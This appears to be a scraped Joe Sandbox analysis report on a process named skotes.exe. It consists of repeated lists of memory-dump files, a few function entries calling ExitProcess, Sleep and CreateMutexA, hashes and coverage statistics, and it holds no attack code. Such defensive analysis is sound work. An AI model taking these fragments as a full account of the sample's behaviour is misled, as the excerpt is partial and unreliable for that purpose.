Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 9a00aeca99c872d77bc7951e94df02459d9ed90ab15fd3d43570ee2d3325abd4
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 21B1E1329046459FDF15CF28C881BAEBFE5EF56340F2481FAE855EB242D6349D42CBA4

Function 00B7BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00B7BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00B7BBE4
_xtime_get.LIBCPMT ref: 00B7BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00B7BC13

Memory Dump Source

Source File: 00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000002.00000002.2116587540.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2116623909.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117257464.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117372741.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117399549.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117430187.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2117583204.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118137185.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118245550.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118432490.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118629730.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118707317.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118743106.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118799747.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118826351.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118901780.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118946572.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118972299.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2118992107.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119017797.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119042595.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119066181.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119100736.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119134189.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119164921.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119192716.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119223939.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119253112.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119278402.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119305467.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119331572.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119361030.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119388003.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119418144.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119449315.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119481945.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119509286.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119532699.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119556897.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119580049.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119613221.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119642124.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119677876.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119705939.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119733536.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119762540.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119788880.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119812897.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119873817.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119899177.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119923380.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119947703.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119973870.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2119999474.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2120024087.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 812b161c114c000eddab323e9e0f4a9a5ab74a67002921e4e0b3984e5e73f658
Instruction ID: 2943cba01ab5cf552f70ebb8d0e5fbd34a7746ed86d43b53d280fe8aa305fc38
Opcode Fuzzy Hash: 812b161c114c000eddab323e9e0f4a9a5ab74a67002921e4e0b3984e5e73f658
Instruction Fuzzy Hash: B9211D71A00119AFDF01EFA4D881DBEBBB9EF08710F10809DF915BB251DB709D459BA0

Analysis Process: skotes.exePID: 3172, Parent PID: 6200COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	588
Total number of Limit Nodes:	4

Executed Functions

Function 00B9652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00B9652A,?,?,?,?,?,00B97661), ref: 00B96567

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 2c63e966e676dc3e63cac212750d491a0fdcbb94e023e52f35a5d2da5c0589ae
Instruction ID: e7f78c72e5eeb57693f0a058ac77a335c7ad4df7c3323eedc62f9708121ed33b
Opcode Fuzzy Hash: 2c63e966e676dc3e63cac212750d491a0fdcbb94e023e52f35a5d2da5c0589ae
Instruction Fuzzy Hash: 5EE0C23000120CAFCF25BB28DC19E4C3BA9EF7274AF014861FD0846226CF35ED82CA80

Function 00B69BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119645221.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119679356.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119707392.0000000000E0D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119734803.0000000000E0E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119764312.0000000000E11000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119790006.0000000000E19000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E1C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119814979.0000000000E3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119874703.0000000000E66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119901450.0000000000E67000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119924397.0000000000E68000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119950051.0000000000E6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119985628.0000000000E6F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120012407.0000000000E7D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2120036223.0000000000E7E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b60000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5c9f7e2b0cb448897ddf9ca58f8ff0c386258b1d2953863e703afd3d9fe11df9
Instruction ID: 49e7b6f4fa01ddde64b11697819a4f32c33d0ff92f836c9b0bb34109057f9768
Opcode Fuzzy Hash: 5c9f7e2b0cb448897ddf9ca58f8ff0c386258b1d2953863e703afd3d9fe11df9
Instruction Fuzzy Hash: C5312A316042049BEF08DB78DD8976DBBF6EFC5310F648299E014AB3D5CB7999818B51

Function 00B69F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B6A963
CreateMutexA.KERNELBASE(00000000,00000000,00BC3254), ref: 00B6A981

Memory Dump Source

Source File: 00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000003.00000002.2116606734.0000000000B60000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2116756890.0000000000BC2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117273425.0000000000BC9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117385819.0000000000BCB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117415425.0000000000BD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117442637.0000000000BD6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2117599673.0000000000BD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118199461.0000000000D2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118336347.0000000000D2D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118437535.0000000000D53000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118648254.0000000000D5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118725500.0000000000D5D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118781695.0000000000D66000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118813919.0000000000D68000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118870732.0000000000D69000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118932204.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118961607.0000000000D81000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2118988988.0000000000D82000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119016799.0000000000D85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119040527.0000000000D87000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119064994.0000000000D88000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119089716.0000000000D89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119115731.0000000000D91000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119149268.0000000000D9C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119178558.0000000000DB4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119203877.0000000000DB8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119237113.0000000000DC8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119264902.0000000000DC9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119290792.0000000000DCA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119318465.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119348593.0000000000DD7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119375128.0000000000DDC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119401754.0000000000DE5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119430927.0000000000DE9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119463978.0000000000DEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119484998.0000000000DEC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119510726.0000000000DED000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119533622.0000000000DEE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119557923.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119582082.0000000000DF8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2119614856.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
